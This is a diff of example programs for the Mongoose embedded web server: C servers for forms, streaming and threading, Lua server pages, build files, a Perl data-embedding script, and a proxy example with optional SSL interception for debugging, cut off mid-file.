mg_send_header(conn, "Cache-Control", "max-age=0, post-check=0, "
|
||||||
|
"pre-check=0, no-store, no-cache, must-revalidate");
|
||||||
|
|
||||||
|
// Note that all the following normally should reside in static HTML page
|
||||||
|
mg_printf_data(conn, "%s", "<html><head>");
|
||||||
|
// It is better to use local copy though
|
||||||
|
mg_printf_data(conn, "<script src=\"%s\"></script>",
|
||||||
|
"http://code.jquery.com/jquery-1.11.0.min.js");
|
||||||
|
mg_printf_data(conn, "%s", "<script> jQuery(function() {\n");
|
||||||
|
// Here is the ajax call that fetches data from the device and
|
||||||
|
// updates the form
|
||||||
|
mg_printf_data(conn, "%s", "$.ajax({ url: '/get_value', dataType: 'json', "
|
||||||
|
"success: function(d) { $('#val').val(d.value); }});\n");
|
||||||
|
// This ajax call is triggered when submit button is pressed. It sends new
|
||||||
|
// value to the device.
|
||||||
|
mg_printf_data(conn, "%s", "$(document).on('click', '#button', function() {"
|
||||||
|
" $.ajax({ url: '/set_value', dataType: 'json', "
|
||||||
|
" data: { new_value: $('#val').val() } });\n"
|
||||||
|
" return false; });\n");
|
||||||
|
mg_printf_data(conn, "%s", "});</script>");
|
||||||
|
mg_printf_data(conn, "%s", "</head><body>");
|
||||||
|
mg_printf_data(conn, "%s", "<h1>Ajax form submission example</h1>");
|
||||||
|
mg_printf_data(conn, "%s", "<form>");
|
||||||
|
mg_printf_data(conn, "%s", "Device value: <input type=text id=val />");
|
||||||
|
mg_printf_data(conn, "%s", "<input type=submit id=button />");
|
||||||
|
mg_printf_data(conn, "%s", "</form>");
|
||||||
|
mg_printf_data(conn, "%s", "</body></html>");
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
if (ev == MG_REQUEST) {
|
||||||
|
if (strcmp(conn->uri, "/get_value") == 0) {
|
||||||
|
mg_printf_data(conn, "{\"value\": %d}", static_value);
|
||||||
|
} else if (strcmp(conn->uri, "/set_value") == 0) {
|
||||||
|
// This Ajax endpoint sets the new value for the device variable
|
||||||
|
char buf[100] = "";
|
||||||
|
mg_get_var(conn, "new_value", buf, sizeof(buf)); // Get form variable
|
||||||
|
static_value = atoi(buf); // Set new value
|
||||||
|
mg_printf_data(conn, "%s", "{\"success\": true}");
|
||||||
|
printf("Setting value to [%d]\n", static_value); // Debug trace
|
||||||
|
} else {
|
||||||
|
// Better way is to set "document_root" option, put "index.html" file
|
||||||
|
// into document_root and return MG_FALSE here. We're printing HTML
|
||||||
|
// page by hands just to keep everything in one C file.
|
||||||
|
print_html_form(conn);
|
||||||
|
}
|
||||||
|
return MG_TRUE;
|
||||||
|
} else if (ev == MG_AUTH) {
|
||||||
|
return MG_TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return MG_FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server;
|
||||||
|
|
||||||
|
// Create and configure the server
|
||||||
|
server = mg_create_server(NULL, ev_handler);
|
||||||
|
mg_set_option(server, "listening_port", "8000");
|
||||||
|
|
||||||
|
// Serve request. Hit Ctrl-C to terminate the program
|
||||||
|
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup, and free server instance
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
+22
-24
@@ -2,36 +2,34 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include "mongoose.h"
|
#include "mongoose.h"
|
||||||
|
|
||||||
static void *callback(enum mg_event event,
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
struct mg_connection *conn) {
|
int result = MG_FALSE;
|
||||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
|
||||||
|
|
||||||
if (event == MG_NEW_REQUEST) {
|
if (ev == MG_REQUEST) {
|
||||||
char content[1024];
|
mg_printf_data(conn, "Hello! Requested URI is [%s]", conn->uri);
|
||||||
int content_length = snprintf(content, sizeof(content),
|
result = MG_TRUE;
|
||||||
"Hello from mongoose! Remote port: %d",
|
} else if (ev == MG_AUTH) {
|
||||||
request_info->remote_port);
|
result = MG_TRUE;
|
||||||
mg_printf(conn,
|
|
||||||
"HTTP/1.1 200 OK\r\n"
|
|
||||||
"Content-Type: text/plain\r\n"
|
|
||||||
"Content-Length: %d\r\n" // Always set Content-Length
|
|
||||||
"\r\n"
|
|
||||||
"%s",
|
|
||||||
content_length, content);
|
|
||||||
// Mark as processed
|
|
||||||
return "";
|
|
||||||
} else {
|
|
||||||
return NULL;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
int main(void) {
|
int main(void) {
|
||||||
struct mg_context *ctx;
|
struct mg_server *server;
|
||||||
const char *options[] = {"listening_ports", "8080", NULL};
|
|
||||||
|
|
||||||
ctx = mg_start(&callback, NULL, options);
|
// Create and configure the server
|
||||||
getchar(); // Wait until user hits "enter"
|
server = mg_create_server(NULL, ev_handler);
|
||||||
mg_stop(ctx);
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
|
||||||
|
// Serve request. Hit Ctrl-C to terminate the program
|
||||||
|
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup, and free server instance
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,4 @@
|
|||||||
|
<? mg.write('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
|
||||||
|
<html><body>
|
||||||
|
<span>Today is:</span> <? mg.write(os.date("%A")) ?>
|
||||||
|
</body></html>
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
LOCAL_PATH := $(call my-dir)/../..
|
||||||
|
include $(CLEAR_VARS)
|
||||||
|
|
||||||
|
# To build with lua support, uncomment two lines below:
|
||||||
|
#LUA_SOURCES := build/lua_5.2.1.c build/sqlite3.c build/lsqlite3.c
|
||||||
|
#LUA_FLAGS := -I$(LOCAL_PATH)/build -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS -DUSE_LUA -DUSE_LUA_SQLITE3 -DLUA_COMPAT_ALL -D"getlocaledecpoint() ='.'"
|
||||||
|
|
||||||
|
LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(LUA_FLAGS) $(COPT)
|
||||||
|
LOCAL_MODULE := mongoose
|
||||||
|
LOCAL_SRC_FILES := examples/server.c mongoose.c $(LUA_SOURCES)
|
||||||
|
|
||||||
|
include $(BUILD_EXECUTABLE)
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
HTTP/1.0 200 OK
|
||||||
|
Content-Type: text/plain
|
||||||
|
|
||||||
|
<?
|
||||||
|
-- Directory scanning example
|
||||||
|
|
||||||
|
function scandir(dir)
|
||||||
|
local t = {}
|
||||||
|
for f in io.popen('dir ' .. dir):lines() do table.insert(t, f) end
|
||||||
|
return t
|
||||||
|
end
|
||||||
|
|
||||||
|
local tab = scandir('C:\\')
|
||||||
|
for k,v in pairs(tab) do mg.write(v, '\n') end
|
||||||
|
?>
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
HTTP/1.0 200 OK
|
||||||
|
Content-Type: text/html
|
||||||
|
|
||||||
|
<html>
|
||||||
|
<p>Prime numbers from 0 to 100, calculated by Lua:</p>
|
||||||
|
<?
|
||||||
|
function is_prime(n)
|
||||||
|
if n <= 0 then return false end
|
||||||
|
if n <= 2 then return true end
|
||||||
|
if (n % 2 == 0) then return false end
|
||||||
|
for i = 3, n / 2, 2 do
|
||||||
|
if (n % i == 0) then return false end
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
for i = 1, 100 do
|
||||||
|
if is_prime(i) then mg.write('<span>' .. i .. '</span> ') end
|
||||||
|
end
|
||||||
|
|
||||||
|
?>
|
||||||
|
|
||||||
|
<p>Reading POST data from Lua (click submit):</p>
|
||||||
|
<form method="POST" ><input type="text" name="t1"/><input type="submit"></form>
|
||||||
|
|
||||||
|
<pre>
|
||||||
|
POST data: [<? mg.write(mg.request_info.content) ?>]
|
||||||
|
request method: [<? mg.write(mg.request_info.request_method) ?>]
|
||||||
|
IP/port: [<?mg.write(mg.request_info.remote_ip, ':',
|
||||||
|
mg.request_info.remote_port) ?>]
|
||||||
|
URI: [<? mg.write(mg.request_info.uri) ?>]
|
||||||
|
HTTP version [<? mg.write(mg.request_info.http_version) ?>]
|
||||||
|
Content Len: [<? mg.write(mg.request_info.content_len) ?>]
|
||||||
|
HEADERS:
|
||||||
|
<?
|
||||||
|
for name, value in pairs(mg.request_info.http_headers) do
|
||||||
|
mg.write(name, ':', value, '\n')
|
||||||
|
end
|
||||||
|
?>
|
||||||
|
|
||||||
|
</pre>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,17 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include "lua_5.2.1.h"
|
||||||
|
|
||||||
|
static int smile(lua_State *L) {
|
||||||
|
(void) L; // Unused
|
||||||
|
printf("%s\n", ":-)");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int LUA_API luaopen_lua_dll(lua_State *L) {
|
||||||
|
static const struct luaL_Reg api[] = {
|
||||||
|
{"smile", smile},
|
||||||
|
{NULL, NULL},
|
||||||
|
};
|
||||||
|
luaL_openlib(L, "lua_dll", api, 0);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
#include <sys/stat.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
static void send_file(struct mg_connection *conn, const char *path) {
|
||||||
|
char buf[1024];
|
||||||
|
struct stat st;
|
||||||
|
int n;
|
||||||
|
FILE *fp;
|
||||||
|
|
||||||
|
if (stat(path, &st) == 0 && (fp = fopen(path, "rb")) != NULL) {
|
||||||
|
mg_printf(conn, "--myboundary\r\nContent-Type: image/jpeg\r\n"
|
||||||
|
"Content-Length: %llu\r\n\r\n", (unsigned long long) st.st_size);
|
||||||
|
while ((n = fread(buf, 1, sizeof(buf), fp)) > 0) {
|
||||||
|
mg_write(conn, buf, n);
|
||||||
|
}
|
||||||
|
fclose(fp);
|
||||||
|
mg_write(conn, "\r\n", 2);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
struct conn_state {
|
||||||
|
int file_index;
|
||||||
|
time_t last_poll;
|
||||||
|
};
|
||||||
|
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
const char **file_names = (const char **) conn->server_param;
|
||||||
|
struct conn_state *state;
|
||||||
|
int result = MG_FALSE;
|
||||||
|
|
||||||
|
if (ev == MG_REQUEST) {
|
||||||
|
mg_printf(conn, "%s",
|
||||||
|
"HTTP/1.0 200 OK\r\n" "Cache-Control: no-cache\r\n"
|
||||||
|
"Pragma: no-cache\r\nExpires: Thu, 01 Dec 1994 16:00:00 GMT\r\n"
|
||||||
|
"Connection: close\r\nContent-Type: multipart/x-mixed-replace; "
|
||||||
|
"boundary=--myboundary\r\n\r\n");
|
||||||
|
|
||||||
|
send_file(conn, file_names[0]);
|
||||||
|
|
||||||
|
state = (struct conn_state *) malloc(sizeof(*state));
|
||||||
|
conn->connection_param = state;
|
||||||
|
state->file_index = 1; // First file is already sent
|
||||||
|
state->last_poll = time(NULL);
|
||||||
|
result = MG_MORE;
|
||||||
|
|
||||||
|
} else if (ev == MG_POLL) {
|
||||||
|
|
||||||
|
time_t now = time(NULL);
|
||||||
|
state = (struct conn_state *) conn->connection_param;
|
||||||
|
|
||||||
|
if (state != NULL && now > state->last_poll) {
|
||||||
|
if (file_names[state->file_index] != NULL) {
|
||||||
|
send_file(conn, file_names[state->file_index]);
|
||||||
|
state->file_index++;
|
||||||
|
if (file_names[state->file_index] == NULL) {
|
||||||
|
result = MG_TRUE; // No more images, close connection
|
||||||
|
}
|
||||||
|
}
|
||||||
|
state->last_poll = now;
|
||||||
|
}
|
||||||
|
|
||||||
|
} else if (ev == MG_CLOSE) {
|
||||||
|
free(conn->connection_param);
|
||||||
|
conn->connection_param = NULL;
|
||||||
|
} else if (ev == MG_AUTH) {
|
||||||
|
result = MG_TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
struct mg_server *server;
|
||||||
|
|
||||||
|
if (argc < 3) {
|
||||||
|
printf("Usage: %s image1.jpg image2.jpg ...\n", argv[0]);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
server = mg_create_server(&argv[1], ev_handler);
|
||||||
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
|
||||||
|
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 1000);
|
||||||
|
}
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
# This program is used to embed arbitrary data into a C binary. It takes
|
||||||
|
# a list of files as an input, and produces a .c data file that contains
|
||||||
|
# contents of all these files as collection of char arrays.
|
||||||
|
#
|
||||||
|
# Usage: perl <this_file> <file1> [file2, ...] > embedded_data.c
|
||||||
|
|
||||||
|
foreach my $i (0 .. $#ARGV) {
|
||||||
|
open FD, '<:raw', $ARGV[$i] or die "Cannot open $ARGV[$i]: $!\n";
|
||||||
|
printf("static const unsigned char v%d[] = {", $i);
|
||||||
|
my $byte;
|
||||||
|
my $j = 0;
|
||||||
|
while (read(FD, $byte, 1)) {
|
||||||
|
if (($j % 12) == 0) {
|
||||||
|
print "\n";
|
||||||
|
}
|
||||||
|
printf ' %#04x,', ord($byte);
|
||||||
|
$j++;
|
||||||
|
}
|
||||||
|
print " 0x00\n};\n";
|
||||||
|
close FD;
|
||||||
|
}
|
||||||
|
|
||||||
|
print <<EOS;
|
||||||
|
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
static const struct embedded_file {
|
||||||
|
const char *name;
|
||||||
|
const unsigned char *data;
|
||||||
|
size_t size;
|
||||||
|
} embedded_files[] = {
|
||||||
|
EOS
|
||||||
|
|
||||||
|
foreach my $i (0 .. $#ARGV) {
|
||||||
|
print " {\"$ARGV[$i]\", v$i, sizeof(v$i) - 1},\n";
|
||||||
|
}
|
||||||
|
|
||||||
|
print <<EOS;
|
||||||
|
{NULL, NULL, 0}
|
||||||
|
};
|
||||||
|
|
||||||
|
const char *find_embedded_file(const char *name, size_t *size) {
|
||||||
|
const struct embedded_file *p;
|
||||||
|
for (p = embedded_files; p->name != NULL; p++) {
|
||||||
|
if (!strcmp(p->name, name)) {
|
||||||
|
if (size != NULL) { *size = p->size; }
|
||||||
|
return (const char *) p->data;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
EOS
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
// Start a browser and hit refresh couple of times. The replies will
|
||||||
|
// come from both server instances.
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
if (ev == MG_REQUEST) {
|
||||||
|
mg_send_header(conn, "Content-Type", "text/plain");
|
||||||
|
mg_printf_data(conn, "This is a reply from server instance # %s",
|
||||||
|
(char *) conn->server_param);
|
||||||
|
return MG_TRUE;
|
||||||
|
} else if (ev == MG_AUTH) {
|
||||||
|
return MG_TRUE;
|
||||||
|
} else {
|
||||||
|
return MG_FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *serve(void *server) {
|
||||||
|
for (;;) mg_poll_server((struct mg_server *) server, 1000);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server1, *server2;
|
||||||
|
|
||||||
|
server1 = mg_create_server((void *) "1", ev_handler);
|
||||||
|
server2 = mg_create_server((void *) "2", ev_handler);
|
||||||
|
|
||||||
|
// Make both server1 and server2 listen on the same socket
|
||||||
|
mg_set_option(server1, "listening_port", "8080");
|
||||||
|
mg_set_listening_socket(server2, mg_get_listening_socket(server1));
|
||||||
|
|
||||||
|
// server1 goes to separate thread, server 2 runs in main thread.
|
||||||
|
// IMPORTANT: NEVER LET DIFFERENT THREADS HANDLE THE SAME SERVER.
|
||||||
|
mg_start_thread(serve, server1);
|
||||||
|
mg_start_thread(serve, server2);
|
||||||
|
getchar();
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,62 @@
|
|||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
static const char *html_form =
|
||||||
|
"<html><body>POST example."
|
||||||
|
"<form method=\"POST\" action=\"/handle_post_request\">"
|
||||||
|
"Input 1: <input type=\"text\" name=\"input_1\" /> <br/>"
|
||||||
|
"Input 2: <input type=\"text\" name=\"input_2\" /> <br/>"
|
||||||
|
"<input type=\"submit\" />"
|
||||||
|
"</form></body></html>";
|
||||||
|
|
||||||
|
static void send_reply(struct mg_connection *conn) {
|
||||||
|
char var1[500], var2[500];
|
||||||
|
|
||||||
|
if (strcmp(conn->uri, "/handle_post_request") == 0) {
|
||||||
|
// User has submitted a form, show submitted data and a variable value
|
||||||
|
// Parse form data. var1 and var2 are guaranteed to be NUL-terminated
|
||||||
|
mg_get_var(conn, "input_1", var1, sizeof(var1));
|
||||||
|
mg_get_var(conn, "input_2", var2, sizeof(var2));
|
||||||
|
|
||||||
|
// Send reply to the client, showing submitted form values.
|
||||||
|
// POST data is in conn->content, data length is in conn->content_len
|
||||||
|
mg_send_header(conn, "Content-Type", "text/plain");
|
||||||
|
mg_printf_data(conn,
|
||||||
|
"Submitted data: [%.*s]\n"
|
||||||
|
"Submitted data length: %d bytes\n"
|
||||||
|
"input_1: [%s]\n"
|
||||||
|
"input_2: [%s]\n",
|
||||||
|
conn->content_len, conn->content,
|
||||||
|
conn->content_len, var1, var2);
|
||||||
|
} else {
|
||||||
|
// Show HTML form.
|
||||||
|
mg_send_data(conn, html_form, strlen(html_form));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
if (ev == MG_REQUEST) {
|
||||||
|
send_reply(conn);
|
||||||
|
return MG_TRUE;
|
||||||
|
} else if (ev == MG_AUTH) {
|
||||||
|
return MG_TRUE;
|
||||||
|
} else {
|
||||||
|
return MG_FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||||
|
|
||||||
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
|
||||||
|
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,199 @@
|
|||||||
|
// Copyright (c) 2014 Cesanta Software Limited
|
||||||
|
// All rights reserved
|
||||||
|
//
|
||||||
|
// To build and run this example:
|
||||||
|
// git clone https://github.com/cesanta/net_skeleton.git
|
||||||
|
// git clone https://github.com/cesanta/mongoose.git
|
||||||
|
// cd mongoose/examples
|
||||||
|
// make proxy
|
||||||
|
// ./proxy
|
||||||
|
//
|
||||||
|
// Configure your browser to use localhost:2014 as a proxy for all protocols
|
||||||
|
// Then, navigate to https://cesanta.com
|
||||||
|
|
||||||
|
#include "net_skeleton.h"
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
static int s_received_signal = 0;
|
||||||
|
static struct mg_server *s_server = NULL;
|
||||||
|
|
||||||
|
#define SSE_CONNECTION ((void *) 1)
|
||||||
|
|
||||||
|
static void elog(int do_exit, const char *fmt, ...) {
|
||||||
|
va_list ap;
|
||||||
|
va_start(ap, fmt);
|
||||||
|
vfprintf(stderr, fmt, ap);
|
||||||
|
va_end(ap);
|
||||||
|
fputc('\n', stderr);
|
||||||
|
if (do_exit) exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void signal_handler(int sig_num) {
|
||||||
|
signal(sig_num, signal_handler);
|
||||||
|
s_received_signal = sig_num;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int sse_push(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
if (ev == MG_POLL && conn->connection_param == SSE_CONNECTION) {
|
||||||
|
mg_printf(conn, "data: %s\r\n\r\n", (const char *) conn->callback_param);
|
||||||
|
}
|
||||||
|
return MG_TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void *sse_pusher_thread_func(void *param) {
|
||||||
|
while (s_received_signal == 0) {
|
||||||
|
mg_wakeup_server_ex(s_server, sse_push, "%lu %s",
|
||||||
|
(unsigned long) time(NULL), (const char *) param);
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return: 1 if regular file, 2 if directory, 0 if not found
|
||||||
|
static int exists(const char *path) {
|
||||||
|
struct stat st;
|
||||||
|
return stat(path, &st) != 0 ? 0 : S_ISDIR(st.st_mode) == 0 ? 1 : 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Return: 1 if regular file, 2 if directory, 0 if not found
|
||||||
|
static int is_local_file(const char *uri, char *path, size_t path_len) {
|
||||||
|
snprintf(path, path_len, "%s/%s",
|
||||||
|
mg_get_option(s_server, "document_root"), uri);
|
||||||
|
return exists(path);
|
||||||
|
}
|
||||||
|
|
||||||
|
static int try_to_serve_locally(struct mg_connection *conn) {
|
||||||
|
char path[500], buf[2000];
|
||||||
|
int n, res;
|
||||||
|
FILE *fp = NULL;
|
||||||
|
|
||||||
|
if ((res = is_local_file(conn->uri, path, sizeof(path))) == 2) {
|
||||||
|
strncat(path, "/index.html", sizeof(path) - strlen(path) - 1);
|
||||||
|
res = exists(path);
|
||||||
|
printf("PATH: [%s]\n", path);
|
||||||
|
}
|
||||||
|
if (res == 0) return MG_FALSE;
|
||||||
|
|
||||||
|
if ((fp = fopen(path, "rb")) != NULL) {
|
||||||
|
printf("Serving [%s] locally \n", path);
|
||||||
|
mg_send_header(conn, "Connection", "close");
|
||||||
|
mg_send_header(conn, "Content-Type", mg_get_mime_type(path, "text/plain"));
|
||||||
|
while ((n = fread(buf, 1, sizeof(buf), fp)) > 0) {
|
||||||
|
mg_send_data(conn, buf, n);
|
||||||
|
}
|
||||||
|
mg_send_data(conn, "", 0);
|
||||||
|
fclose(fp);
|
||||||
|
}
|
||||||
|
return fp == NULL ? MG_FALSE : MG_TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int is_resource_present_locally(const char *uri) {
|
||||||
|
char path[500];
|
||||||
|
return is_local_file(uri, path, sizeof(path)) || strcmp(uri, "/api/sse") == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int proxy_event_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
static const char target_url[] = "http://cesanta.com";
|
||||||
|
static int target_url_size = sizeof(target_url) - 1;
|
||||||
|
const char *host;
|
||||||
|
|
||||||
|
switch (ev) {
|
||||||
|
case MG_REQUEST:
|
||||||
|
host = mg_get_header(conn, "Host");
|
||||||
|
printf("[%s] [%s] [%s]\n", conn->request_method, conn->uri,
|
||||||
|
host == NULL ? "" : host);
|
||||||
|
if (strstr(conn->uri, "/qqq") != NULL) s_received_signal = SIGTERM;
|
||||||
|
|
||||||
|
// Proxied HTTPS requests use "CONNECT foo.com:443"
|
||||||
|
// Proxied HTTP requests use "GET http://..... "
|
||||||
|
// Serve requests for target_url from the local FS.
|
||||||
|
if (memcmp(conn->uri, target_url, target_url_size) == 0 &&
|
||||||
|
is_resource_present_locally(conn->uri + target_url_size)) {
|
||||||
|
conn->uri += target_url_size; // Leave only path in the URI
|
||||||
|
}
|
||||||
|
|
||||||
|
if (strcmp(conn->uri, "/api/sse") == 0) {
|
||||||
|
conn->connection_param = SSE_CONNECTION;
|
||||||
|
mg_printf(conn, "%s", "HTTP/1.0 200 OK\r\n"
|
||||||
|
"Content-Type: text/event-stream\r\n"
|
||||||
|
"Cache-Control: no-cache\r\n\r\n");
|
||||||
|
return MG_MORE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (host != NULL && strstr(host, "cesanta") != NULL) {
|
||||||
|
return try_to_serve_locally(conn);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Enable man-in-the-middle SSL mode for oracle.com
|
||||||
|
if (!strcmp(conn->request_method, "CONNECT") &&
|
||||||
|
!strcmp(host, "oracle.com")) {
|
||||||
|
mg_terminate_ssl(conn, "ssl_cert.pem"); // MUST return MG_MORE after
|
||||||
|
return MG_MORE;
|
||||||
|
}
|
||||||
|
|
||||||
|
return MG_FALSE;
|
||||||
|
case MG_AUTH:
|
||||||
|
return MG_TRUE;
|
||||||
|
default:
|
||||||
|
return MG_FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static void setopt(struct mg_server *s, const char *opt, const char *val) {
|
||||||
|
const char *err_msg = mg_set_option(s, opt, val);
|
||||||
|
if (err_msg != NULL) {
|
||||||
|
elog(1, "Error setting [%s]: [%s]", opt, err_msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
const char *cert = NULL, *ca_cert = NULL, *port = "2014";
|
||||||
|
const char *mitm = NULL, *dump = NULL, *root = "proxy_web_root";
|
||||||
|
int i;
|
||||||
|
|
||||||
|
// Parse command line options
|
||||||
|
for (i = 1; i < argc; i++) {
|
||||||
|
if (strcmp(argv[i], "-ca_cert") == 0 && i + 1 < argc) {
|
||||||
|
ca_cert = argv[++i];
|
||||||
|
} else if (strcmp(argv[i], "-cert") == 0 && i + 1 < argc) {
|
||||||
|
cert = argv[++i];
|
||||||
|
} else if (strcmp(argv[i], "-port") == 0 && i + 1 < argc) {
|
||||||
|
port = argv[++i];
|
||||||
|
} else if (strcmp(argv[i], "-mitm") == 0 && i + 1 < argc) {
|
||||||
|
mitm = argv[++i];
|
||||||
|
} else if (strcmp(argv[i], "-root") == 0 && i + 1 < argc) {
|
||||||
|
root = argv[++i];
|
||||||
|
} else if (strcmp(argv[i], "-dump") == 0 && i + 1 < argc) {
|
||||||
|
dump = argv[++i];
|
||||||
|
} else {
|
||||||
|
elog(1, "Usage: %s [-cert FILE] [-ca_cert FILE] [-port PORT]", argv[0]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
signal(SIGTERM, signal_handler);
|
||||||
|
signal(SIGINT, signal_handler);
|
||||||
|
|
||||||
|
// Create and configure proxy server
|
||||||
|
s_server = mg_create_server(NULL, &proxy_event_handler);
|
||||||
|
setopt(s_server, "enable_proxy", "yes");
|
||||||
|
setopt(s_server, "document_root", root);
|
||||||
|
setopt(s_server, "listening_port", port);
|
||||||
|
setopt(s_server, "ssl_certificate", cert);
|
||||||
|
setopt(s_server, "ssl_ca_certificate", ca_cert);
|
||||||
|
setopt(s_server, "hexdump_file", dump);
|
||||||
|
setopt(s_server, "ssl_mitm_certs", mitm);
|
||||||
|
|
||||||
|
// Start two SSE pushing threads
|
||||||
|
mg_start_thread(sse_pusher_thread_func, (void *) "sse_pusher_thread_1");
|
||||||
|
mg_start_thread(sse_pusher_thread_func, (void *) "sse_pusher_thread_2");
|
||||||
|
|
||||||
|
// Start serving in the main thread
|
||||||
|
printf("Starting on port %s\n", mg_get_option(s_server, "listening_port"));
|
||||||
|
while (s_received_signal == 0) {
|
||||||
|
mg_poll_server(s_server, 1000);
|
||||||
|
}
|
||||||
|
printf("Existing on signal %d\n", s_received_signal);
|
||||||
|
mg_destroy_server(&s_server);
|
||||||
|
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>App1 Index</title>
|
||||||
|
<style>
|
||||||
|
img { height: 40px; }
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
|
||||||
|
<h1>App1 index page. Served locally from the the proxy server filesystem</h1>
|
||||||
|
|
||||||
|
<p>image that references non-existent local resource. Forwarded to
|
||||||
|
the 'real' proxy target:</p>
|
||||||
|
<img src="http://cesanta.com/images/logo.png" />
|
||||||
|
|
||||||
|
<p>Google logo via HTTPS (external resource, served by remote host):</p>
|
||||||
|
<img src="https://www.google.ie/images/srpr/logo11w.png" />
|
||||||
|
|
||||||
|
<p>Same image via HTTP:</p>
|
||||||
|
<img src="http://www.google.ie/images/srpr/logo11w.png" />
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<title>App2 Index</title>
|
||||||
|
<meta charset="utf-8">
|
||||||
|
<script>
|
||||||
|
window.onload = function() {
|
||||||
|
